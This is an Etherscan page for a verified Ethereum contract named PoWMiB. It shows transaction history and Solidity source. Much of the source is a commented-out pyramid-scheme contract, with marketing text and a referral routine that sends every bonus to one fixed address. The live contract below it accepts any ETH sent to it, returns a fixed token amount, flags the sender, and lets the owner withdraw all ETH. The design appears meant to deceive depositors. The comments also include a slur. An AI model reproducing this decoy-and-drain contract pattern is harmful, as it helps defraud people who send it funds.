ETH Price: $2,671.52 (+10.02%)
Gas: 8 Gwei

Contract

0xe8e430eF6e38782298616fB614aD862cbA6E3946
 

Overview

ETH Balance

0.002190121630099 ETH

Eth Value

$5.85 (@ $2,671.52/ETH)

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer97864832020-04-01 14:08:521590 days ago1585750132IN
0xe8e430eF...cbA6E3946
0 ETH0.000257293
Transfer94232522020-02-05 14:44:441646 days ago1580913884IN
0xe8e430eF...cbA6E3946
0 ETH0.000686118
Transfer92146112020-01-04 15:15:281678 days ago1578150928IN
0xe8e430eF...cbA6E3946
0 ETH0.000171522
Transfer92079032020-01-03 14:43:361679 days ago1578062616IN
0xe8e430eF...cbA6E3946
0 ETH0.000037441
Transfer92071012020-01-03 11:55:431679 days ago1578052543IN
0xe8e430eF...cbA6E3946
0 ETH0.000037441
Transfer84515892019-08-30 12:44:441805 days ago1567169084IN
0xe8e430eF...cbA6E3946
0 ETH0.0016360720.985
Transfer83786102019-08-19 4:11:321817 days ago1566187892IN
0xe8e430eF...cbA6E3946
0 ETH0.000085761.1
Transfer81128752019-07-08 20:48:411858 days ago1562618921IN
0xe8e430eF...cbA6E3946
0 ETH0.000311854
Transfer79889812019-06-19 13:24:331877 days ago1560950673IN
0xe8e430eF...cbA6E3946
0 ETH0.000155922
Transfer79647782019-06-15 18:37:531881 days ago1560623873IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer78290722019-05-25 13:34:011902 days ago1558791241IN
0xe8e430eF...cbA6E3946
0 ETH0.000047961
Transfer78278012019-05-25 8:43:541903 days ago1558773834IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer77478492019-05-12 20:40:071915 days ago1557693607IN
0xe8e430eF...cbA6E3946
0 ETH0.000007190.15
Transfer77477372019-05-12 20:11:401915 days ago1557691900IN
0xe8e430eF...cbA6E3946
0 ETH0.000007190.15
Transfer77477082019-05-12 20:06:301915 days ago1557691590IN
0xe8e430eF...cbA6E3946
0 ETH0.000007190.15
Transfer77476922019-05-12 20:03:041915 days ago1557691384IN
0xe8e430eF...cbA6E3946
0 ETH0.000007190.15
Transfer77476442019-05-12 19:53:021915 days ago1557690782IN
0xe8e430eF...cbA6E3946
0 ETH0.000007190.15
Transfer77454702019-05-12 11:48:591915 days ago1557661739IN
0xe8e430eF...cbA6E3946
0 ETH0.000389825
Transfer77454012019-05-12 11:33:121915 days ago1557660792IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer77453882019-05-12 11:28:311915 days ago1557660511IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer77453882019-05-12 11:28:311915 days ago1557660511IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer77453882019-05-12 11:28:311915 days ago1557660511IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer77453872019-05-12 11:28:201915 days ago1557660500IN
0xe8e430eF...cbA6E3946
0 ETH0.000047961
Transfer77453832019-05-12 11:26:441915 days ago1557660404IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
Transfer77453812019-05-12 11:26:271915 days ago1557660387IN
0xe8e430eF...cbA6E3946
0 ETH0.000077961
View all transactions

Latest 2 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
54149702018-04-10 11:13:422312 days ago1523358822
0xe8e430eF...cbA6E3946
4.101 ETH
54061032018-04-08 23:56:142314 days ago1523231774
0xe8e430eF...cbA6E3946
0.06099999 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PoWMiB

Compiler Version
v0.4.20+commit.3155dd80

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2018-04-08
*/

pragma solidity ^0.4.20;

 
/*
█▀▀█ █▀▀█ █   █   █▀▄▀█  ▀  █▀▀▄
█  █ █  █ █▄█▄█   █ ▀ █ ▀█▀ █▀▀▄
█▀▀▀ ▀▀▀▀  ▀ ▀    ▀   ▀ ▀▀▀ ▀▀▀ 

█▀▀█ █▀▀█ █▀▀█ █▀▀█ █▀▀   █▀▀█ █▀▀   █   █ █▀▀ █▀▀█ █ █
█  █ █▄▄▀ █  █ █  █ █▀▀   █  █ █▀▀   █▄█▄█ █▀▀ █▄▄█ █▀▄
█▀▀▀ ▀ ▀▀ ▀▀▀▀ ▀▀▀▀ ▀     ▀▀▀▀ ▀      ▀ ▀  ▀▀▀ ▀  ▀ ▀ ▀

█▀▄▀█ █▀▀█ █▀▀▄    ▀  █▀▀▄   █▀▀▄ █   █▀▀█ █▀▀ █ █
█ ▀ █ █▄▄█ █  █   ▀█▀ █  █   █▀▀▄ █   █▄▄█ █   █▀▄
▀   ▀ ▀  ▀ ▀  ▀   ▀▀▀ ▀  ▀   ▀▀▀  ▀▀▀ ▀  ▀ ▀▀▀ ▀ ▀
                                
               ██████████       
              ████████████      
              ██        ██      
              ██▄▄▄▄▄▄▄▄▄█      
              ██▀███ ███▀█       
█             ▀█        █▀      
██                  █           
 █              ██              
█▄            ████ ██  ████
 ▄███████████████  ██  ██████   
    █████████████  ██  █████████
             ████  ██ █████  ███
              ███  ██ █████  ███
              ███     █████████
              ██     ████████▀
                ██████████
                ██████████
                 ████████
                  ██████████▄▄
                    █████████▀
                     ████  ███
                    ▄████▄  ██
                    ██████   ▀
                    ▀▄▄▄▄▀
*
* Issue: Ordinary pyramid schemes have a token price that varies with the contract balance. 
* This leaves you vulnerable to the whims of the market, as a sudden crash can drain your investment at any time.
* Solution: We remove tokens from the equation altogether, relieving investors of volatility. 
* The outcome is a pyramid scheme powered entirely by dividends.
* We distribute 33% of every buy and sell to shareholders in proportion to their stake in the contract. 
* Once you've made a deposit, your dividends will accumulate over time while your investment remains safe and stable, 
* making this the ultimate vehicle for passive income.
*


contract PoW_MIB {
    =================================
    =            MODIFIERS          =
    =================================
    // only people with tokens
    modifier onlyBagholders() {
        require(myTokens() > 0);
        _;
    }

    // only people with profits
    modifier onlyStronghands() {
        require(myDividends(true) > 0);
        _;
    }

    // administrators can:
    // -> change the name of the contract
    // -> change the name of the token
    // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later)
    // they CANNOT:
    // -> take funds
    // -> disable withdrawals
    // -> kill the contract
    // -> change the price of tokens
    modifier onlyAdministrator(){
        address _customerAddress = msg.sender;
        require(administrators[keccak256(_customerAddress)]);
        _;
    }


    // ensures that the first tokens in the contract will be equally distributed
    // meaning, no divine dump will be ever possible
    // result: healthy longevity.
    modifier antiEarlyWhale(uint256 _amountOfEthereum){
        address _customerAddress = msg.sender;

        // are we still in the vulnerable phase?
        // if so, enact anti early whale protocol
        if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
            require(
                // is the customer in the ambassador list?
                ambassadors_[_customerAddress] == true &&

                // does the customer purchase exceed the max ambassador quota?
                (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_

            );

            // updated the accumulated quota
            ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);

            // execute
            _;
        } else {
            // in case the ether count drops low, the ambassador phase won't reinitiate
            onlyAmbassadors = false;
            _;
        }

    }


     ==============================
    =            EVENTS            =
    ==============================
    event onTokenPurchase(
        address indexed customerAddress,
        uint256 incomingEthereum,
        uint256 tokensMinted,
        address indexed referredBy
    );

    event onTokenSell(
        address indexed customerAddress,
        uint256 tokensBurned,
        uint256 ethereumEarned
    );

    event onReinvestment(
        address indexed customerAddress,
        uint256 ethereumReinvested,
        uint256 tokensMinted
    );

    event onWithdraw(
        address indexed customerAddress,
        uint256 ethereumWithdrawn
    );

    // ERC20
    event Transfer(
        address indexed from,
        address indexed to,
        uint256 tokens
    );


     =====================================
    =            CONFIGURABLES            =
    =====================================
    string public name = "PoW_MIB";
    string public symbol = "PoW_MIB";
    uint8 constant public decimals = 18;
    uint8 constant internal entryFee_ = 33; // 20% to enter 
    uint8 constant internal transferFee_ = 10; // 10% transfer fee
    uint8 constant internal refferalFee_ = 33; // 33% from enter fee divs or 7% for each invite
    uint8 constant internal exitFee_ = 33; // 20% for selling
    uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
    uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
    uint256 constant internal magnitude = 2**64;

    // proof of stake (defaults at 100 tokens)
    uint256 public stakingRequirement = 100e18;

    // ambassador program
    mapping(address => bool) internal ambassadors_;
    uint256 constant internal ambassadorMaxPurchase_ = 1 ether;
    uint256 constant internal ambassadorQuota_ = 20 ether; 



    ================================
    =            DATASETS            =
    ================================
    // amount of shares for each address (scaled number)
    mapping(address => uint256) internal tokenBalanceLedger_;
    mapping(address => uint256) internal referralBalance_;
    mapping(address => int256) internal payoutsTo_;
    mapping(address => uint256) internal ambassadorAccumulatedQuota_;
    uint256 internal tokenSupply_ = 0;
    uint256 internal profitPerShare_;

    // administrator list (see above on what they can do)
    mapping(bytes32 => bool) public administrators;

    // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid)
    bool public onlyAmbassadors = false;



     =======================================
    =            PUBLIC FUNCTIONS            =
    =======================================
     
    * -- APPLICATION ENTRY POINTS --
    
    function StrongHold()
        public
    {
        // add administrators here
       


    }


     *
     * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any)
     
    function buy(address _referredBy)
        public
        payable
        returns(uint256)
    {
        purchaseTokens(msg.value, _referredBy);
    }

     *
     * Fallback function to handle ethereum that was send straight to the contract
     * Unfortunately we cannot use a referral address this way.
     
    function()
        payable
        public
    {
        purchaseTokens(msg.value, 0x0);
    }

     *
     * Converts all of caller's dividends to tokens.
    
    function reinvest()
        onlyStronghands()
        public
    {
        // fetch dividends
        uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code

        // pay out the dividends virtually
        address _customerAddress = msg.sender;
        payoutsTo_[_customerAddress] +=  (int256) (_dividends * magnitude);

        // retrieve ref. bonus
        _dividends += referralBalance_[_customerAddress];
        referralBalance_[_customerAddress] = 0;

        // dispatch a buy order with the virtualized "withdrawn dividends"
        uint256 _tokens = purchaseTokens(_dividends, 0x0);

        // fire event
        onReinvestment(_customerAddress, _dividends, _tokens);
    }

     *
     * Alias of sell() and withdraw().
     
    function exit()
        public
    {
        // get token count for caller & sell them all
        address _customerAddress = msg.sender;
        uint256 _tokens = tokenBalanceLedger_[_customerAddress];
        if(_tokens > 0) sell(_tokens);

        // lambo delivery service
        withdraw();
    }

     *
     * Withdraws all of the callers earnings.
     
    function withdraw()
        onlyStronghands()
        public
    {
        // setup data
        address _customerAddress = msg.sender;
        uint256 _dividends = myDividends(false); // get ref. bonus later in the code

        // update dividend tracker
        payoutsTo_[_customerAddress] +=  (int256) (_dividends * magnitude);

        // add ref. bonus
        _dividends += referralBalance_[_customerAddress];
        referralBalance_[_customerAddress] = 0;

        // lambo delivery service
        _customerAddress.transfer(_dividends);

        // fire event
        onWithdraw(_customerAddress, _dividends);
    }

     *
     * Liquifies tokens to ethereum.
     
    function sell(uint256 _amountOfTokens)
        onlyBagholders()
        public
    {
        // setup data
        address _customerAddress = msg.sender;
        // russian hackers BTFO
        require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
        uint256 _tokens = _amountOfTokens;
        uint256 _ethereum = tokensToEthereum_(_tokens);
        uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
        uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);

        // burn the sold tokens
        tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
        tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);

        // update dividends tracker
        int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
        payoutsTo_[_customerAddress] -= _updatedPayouts;

        // dividing by zero is a bad idea
        if (tokenSupply_ > 0) {
            // update the amount of dividends per token
            profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
        }

        // fire event
        onTokenSell(_customerAddress, _tokens, _taxedEthereum);
    }


     *
     * Transfer tokens from the caller to a new holder.
     * Remember, there's a 10% fee here as well.
     
    function transfer(address _toAddress, uint256 _amountOfTokens)
        onlyBagholders()
        public
        returns(bool)
    {
        // setup
        address _customerAddress = msg.sender;

        // make sure we have the requested tokens
        // also disables transfers until ambassador phase is over
        // ( we dont want whale premines )
        require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);

        // withdraw all outstanding dividends first
        if(myDividends(true) > 0) withdraw();

        // liquify 10% of the tokens that are transfered
        // these are dispersed to shareholders
        uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
        uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
        uint256 _dividends = tokensToEthereum_(_tokenFee);

        // burn the fee tokens
        tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);

        // exchange tokens
        tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
        tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);

        // update dividend trackers
        payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
        payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);

        // disperse dividends among holders
        profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);

        // fire event
        Transfer(_customerAddress, _toAddress, _taxedTokens);

        // ERC20
        return true;

    }

     ----------  ADMINISTRATOR ONLY FUNCTIONS  ----------
     *
     * In case the amassador quota is not met, the administrator can manually disable the ambassador phase.
     
    function disableInitialStage()
        onlyAdministrator()
        public
    {
        onlyAmbassadors = false;
    }

     *
     * In case one of us dies, we need to replace ourselves.
     
    function setAdministrator(bytes32 _identifier, bool _status)
        onlyAdministrator()
        public
    {
        administrators[_identifier] = _status;
    }

     *
     * Precautionary measures in case we need to adjust the masternode rate.
     
    function setStakingRequirement(uint256 _amountOfTokens)
        onlyAdministrator()
        public
    {
        stakingRequirement = _amountOfTokens;
    }

     *
     * If we want to rebrand, we can.
     
    function setName(string _name)
        onlyAdministrator()
        public
    {
        name = _name;
    }

     *
     * If we want to rebrand, we can.
     
    function setSymbol(string _symbol)
        onlyAdministrator()
        public
    {
        symbol = _symbol;
    }


     ----------  HELPERS AND CALCULATORS  ----------
     *
     * Method to view the current Ethereum stored in the contract
     * Example: totalEthereumBalance()
     
    function totalEthereumBalance()
        public
        view
        returns(uint)
    {
        return this.balance;
    }

     *
     * Retrieve the total token supply.
     
    function totalSupply()
        public
        view
        returns(uint256)
    {
        return tokenSupply_;
    }

     *
     * Retrieve the tokens owned by the caller.
     
    function myTokens()
        public
        view
        returns(uint256)
    {
        address _customerAddress = msg.sender;
        return balanceOf(_customerAddress);
    }

     *
     * Retrieve the dividends owned by the caller.
     * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations.
     * The reason for this, is that in the frontend, we will want to get the total divs (global + ref)
     * But in the internal calculations, we want them separate.
     
    function myDividends(bool _includeReferralBonus)
        public
        view
        returns(uint256)
    {
        address _customerAddress = msg.sender;
        return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
    }

     *
     * Retrieve the token balance of any single address.
     
    function balanceOf(address _customerAddress)
        view
        public
        returns(uint256)
    {
        return tokenBalanceLedger_[_customerAddress];
    }

     *
     * Retrieve the dividend balance of any single address.
     
    function dividendsOf(address _customerAddress)
        view
        public
        returns(uint256)
    {
        return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
    }

     *
     * Return the buy price of 1 individual token.
     
    function sellPrice()
        public
        view
        returns(uint256)
    {
        // our calculation relies on the token supply, so we need supply. Doh.
        if(tokenSupply_ == 0){
            return tokenPriceInitial_ - tokenPriceIncremental_;
        } else {
            uint256 _ethereum = tokensToEthereum_(1e18);
            uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
            uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
            return _taxedEthereum;
        }
    }

     *
     * Return the sell price of 1 individual token.
     
    function buyPrice()
        public
        view
        returns(uint256)
    {
        // our calculation relies on the token supply, so we need supply. Doh.
        if(tokenSupply_ == 0){
            return tokenPriceInitial_ + tokenPriceIncremental_;
        } else {
            uint256 _ethereum = tokensToEthereum_(1e18);
            uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
            uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
            return _taxedEthereum;
        }
    }

     *
     * Function for the frontend to dynamically retrieve the price scaling of buy orders.
     
    function calculateTokensReceived(uint256 _ethereumToSpend)
        public
        view
        returns(uint256)
    {
        uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
        uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
        uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);

        return _amountOfTokens;
    }

     *
     * Function for the frontend to dynamically retrieve the price scaling of sell orders.
     
    function calculateEthereumReceived(uint256 _tokensToSell)
        public
        view
        returns(uint256)
    {
        require(_tokensToSell <= tokenSupply_);
        uint256 _ethereum = tokensToEthereum_(_tokensToSell);
        uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
        uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
        return _taxedEthereum;
    }


     ==========================================
    =            INTERNAL FUNCTIONS            =
    ==========================================
    function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
        antiEarlyWhale(_incomingEthereum)
        internal
        returns(uint256)
    {
        // data setup
        address _customerAddress = msg.sender;
        uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
        uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
        uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
        uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
        uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
        uint256 _fee = _dividends * magnitude;

        // no point in continuing execution if OP is a poorfag russian hacker
        // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world
        // (or hackers)
        // and yes we know that the safemath function automatically rules out the "greater then" equasion.
        require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));

        // is the user referred by a masternode?
        if(
            // is this a referred purchase?
            _referredBy != 0x0000000000000000000000000000000000000000 &&

            // no cheating!
            _referredBy != _customerAddress &&

            // does the referrer have at least X whole tokens?
            // i.e is the referrer a godly chad masternode
            tokenBalanceLedger_[_referredBy] >= 0
        ){
            // wealth redistribution
            referralBalance_[0xE3A84DE5De05F53Fae2128A22C8637478A5B85a0] = SafeMath.add(referralBalance_[0xE3A84DE5De05F53Fae2128A22C8637478A5B85a0], _referralBonus);
        } else {
            // no ref purchase
            // add the referral bonus back to the global dividends cake
            _dividends = SafeMath.add(_dividends, _referralBonus);
            _fee = _dividends * magnitude;
        }

        // we can't give people infinite ethereum
        if(tokenSupply_ > 0){

            // add tokens to the pool
            tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);

            // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder
            profitPerShare_ += (_dividends * magnitude / (tokenSupply_));

            // calculate the amount of tokens the customer receives over his purchase
            _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));

        } else {
            // add tokens to the pool
            tokenSupply_ = _amountOfTokens;
        }

        // update circulating supply & the ledger address for the customer
        tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);

        // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them;
        //really i know you think you do but you don't
        int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
        payoutsTo_[_customerAddress] += _updatedPayouts;

        // fire event
        onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy);

        return _amountOfTokens;
    }

     *
     * Calculate Token price based on an amount of incoming ethereum
     * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
     * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
     
    function ethereumToTokens_(uint256 _ethereum)
        internal
        view
        returns(uint256)
    {
        uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
        uint256 _tokensReceived =
         (
            (
                // underflow attempts BTFO
                SafeMath.sub(
                    (sqrt
                        (
                            (_tokenPriceInitial**2)
                            +
                            (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
                            +
                            (((tokenPriceIncremental_)**2)*(tokenSupply_**2))
                            +
                            (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
                        )
                    ), _tokenPriceInitial
                )
            )/(tokenPriceIncremental_)
        )-(tokenSupply_)
        ;

        return _tokensReceived;
    }

     *
     * Calculate token sell value.
     * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;
     * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.
     
     function tokensToEthereum_(uint256 _tokens)
        internal
        view
        returns(uint256)
    {

        uint256 tokens_ = (_tokens + 1e18);
        uint256 _tokenSupply = (tokenSupply_ + 1e18);
        uint256 _etherReceived =
        (
            // underflow attempts BTFO
            SafeMath.sub(
                (
                    (
                        (
                            tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
                        )-tokenPriceIncremental_
                    )*(tokens_ - 1e18)
                ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
            )
        /1e18);
        return _etherReceived;
    }


    //This is where all your gas goes, sorry
    //Not sorry, you probably only paid 1 gwei
    function sqrt(uint x) internal pure returns (uint y) {
        uint z = (x + 1) / 2;
        y = x;
        while (z < y) {
            y = z;
            z = (x / z + z) / 2;
        }
    }
}

 *
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 
library SafeMath {

     *
    * @dev Multiplies two numbers, throws on overflow.
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

     *
    * @dev Integer division of two numbers, truncating the quotient.
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

     *
    * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
    
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

     *
    * @dev Adds two numbers, throws on overflow.
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}*/


/* YOU SHOULD READ THE CONTRACT*/


library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a / b;
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract ForeignToken {
    function balanceOf(address _owner) constant public returns (uint256);
    function transfer(address _to, uint256 _value) public returns (bool);
}

contract ERC20Basic {
    uint256 public totalSupply;
    function balanceOf(address who) public constant returns (uint256);
    function transfer(address to, uint256 value) public returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract ERC20 is ERC20Basic {
    function allowance(address owner, address spender) public constant returns (uint256);
    function transferFrom(address from, address to, uint256 value) public returns (bool);
    function approve(address spender, uint256 value) public returns (bool);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface Token { 
    function distr(address _to, uint256 _value) public returns (bool);
    function totalSupply() constant public returns (uint256 supply);
    function balanceOf(address _owner) constant public returns (uint256 balance);
}

contract PoWMiB is ERC20 {
    
    using SafeMath for uint256;
    address owner = msg.sender;

    mapping (address => uint256) balances;
    mapping (address => mapping (address => uint256)) allowed;
    mapping (address => bool) public blacklist;

    string public constant name = "Proof of Weak Man in Black";
    string public constant symbol = "PMIB";
    uint public constant decimals = 8;
    
    uint256 public totalSupply = 80000000e8;
    uint256 public totalDistributed = 500000e8;
    uint256 public totalRemaining = totalSupply.sub(totalDistributed);
    uint256 public value;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);
    event Approval(address indexed _owner, address indexed _spender, uint256 _value);
    
    event Distr(address indexed to, uint256 amount);
    event DistrFinished();
    
    event Burn(address indexed burner, uint256 value);

    bool public distributionFinished = false;
    
    modifier canDistr() {
        require(!distributionFinished);
        _;
    }
    
    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
    
   
    
    function PoWMiB () public {
        owner = msg.sender;
        value = 1307e8;
        distr(owner, totalDistributed);
    }
    
    function transferOwnership(address newOwner) onlyOwner public {
        if (newOwner != address(0)) {
            owner = newOwner;
        }
    }
    
   

   

    function finishDistribution() onlyOwner canDistr public returns (bool) {
        distributionFinished = true;
        DistrFinished();
        return true;
    }
    
    function distr(address _to, uint256 _amount) canDistr private returns (bool) {
        totalDistributed = totalDistributed.add(_amount);
        totalRemaining = totalRemaining.sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        Distr(_to, _amount);
        Transfer(address(0), _to, _amount);
        return true;
        
        if (totalDistributed >= totalSupply) {
            distributionFinished = true;
        }
    }
    
    function airdrop(address[] addresses) onlyOwner canDistr public {
        
        require(addresses.length <= 255);
        require(value <= totalRemaining);
        
        for (uint i = 0; i < addresses.length; i++) {
            require(value <= totalRemaining);
            distr(addresses[i], value);
        }
	
        if (totalDistributed >= totalSupply) {
            distributionFinished = true;
        }
    }
    
    function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public {
        
        require(addresses.length <= 255);
        require(amount <= totalRemaining);
        
        for (uint i = 0; i < addresses.length; i++) {
            require(amount <= totalRemaining);
            distr(addresses[i], amount);
        }
	
        if (totalDistributed >= totalSupply) {
            distributionFinished = true;
        }
    }
    
    function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {

        require(addresses.length <= 255);
        require(addresses.length == amounts.length);
        
        for (uint8 i = 0; i < addresses.length; i++) {
            require(amounts[i] <= totalRemaining);
            distr(addresses[i], amounts[i]);
            
            if (totalDistributed >= totalSupply) {
                distributionFinished = true;
            }
        }
    }
    
    function () external payable {
            getTokens();
     }
    
    function getTokens() payable canDistr public {
        
        if (value > totalRemaining) {
            value = totalRemaining;
        }
        
        require(value <= totalRemaining);
        
        address investor = msg.sender;
        uint256 toGive = value;
        
        distr(investor, toGive);
        
        if (toGive > 0) {
            blacklist[investor] = true;
        }

        if (totalDistributed >= totalSupply) {
            distributionFinished = true;
        }
        
     
    }

    function balanceOf(address _owner) constant public returns (uint256) {
	    return balances[_owner];
    }

    // mitigates the ERC20 short address attack
    modifier onlyPayloadSize(uint size) {
        assert(msg.data.length >= size + 4);
        _;
    }
    
    function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {

        require(_to != address(0));
        require(_amount <= balances[msg.sender]);
        
        balances[msg.sender] = balances[msg.sender].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        Transfer(msg.sender, _to, _amount);
        return true;
    }
    
    function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {

        require(_to != address(0));
        require(_amount <= balances[_from]);
        require(_amount <= allowed[_from][msg.sender]);
        
        balances[_from] = balances[_from].sub(_amount);
        allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
        balances[_to] = balances[_to].add(_amount);
        Transfer(_from, _to, _amount);
        return true;
    }
    
    function approve(address _spender, uint256 _value) public returns (bool success) {
        // mitigates the ERC20 spend/approval race condition
        if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
        allowed[msg.sender][_spender] = _value;
        Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function allowance(address _owner, address _spender) constant public returns (uint256) {
        return allowed[_owner][_spender];
    }
    
    function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
        ForeignToken t = ForeignToken(tokenAddress);
        uint bal = t.balanceOf(who);
        return bal;
    }
    
    function withdraw() onlyOwner public {
        uint256 etherBalance = this.balance;
        owner.transfer(etherBalance);
    }
    
    function burn(uint256 _value) onlyOwner public {
        require(_value <= balances[msg.sender]);
        // no need to require value <= totalSupply, since that would imply the
        // sender's balance is greater than the totalSupply, which *should* be an assertion failure

        address burner = msg.sender;
        balances[burner] = balances[burner].sub(_value);
        totalSupply = totalSupply.sub(_value);
        totalDistributed = totalDistributed.sub(_value);
        Burn(burner, _value);
    }
    
    function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
        ForeignToken token = ForeignToken(_tokenContract);
        uint256 amount = token.balanceOf(address(this));
        return token.transfer(owner, amount);
    }


}

Contract Security Audit

Contract ABI

